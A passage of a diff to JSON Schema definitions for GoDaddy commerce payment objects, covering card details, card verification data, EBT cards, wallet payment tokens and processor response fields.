"https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } + }, + "title": "Card Processing Instruction", + "type": "object" } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" + }, + "required": [ + "cardDetail" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "title": "Payment Card", + "type": "object" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cardPin": { + "description": "Card pin block.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + }, + "title": "Card VerificationData", + "type": "object" }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "eVoucherApprovalCode": { + "type": "string" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "eVoucherSerial": { + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a payment", - "properties": { - "alternateFundingSource": { - "description": "Alternate funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { + "token": { + "description": "Apple pay token", "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + "writeOnly": true } - } + }, + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { + "token": { + "description": "Google pay token", "type": "string", - "description": "Interac mac key serial number for canada based cards" + "writeOnly": true } }, "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": 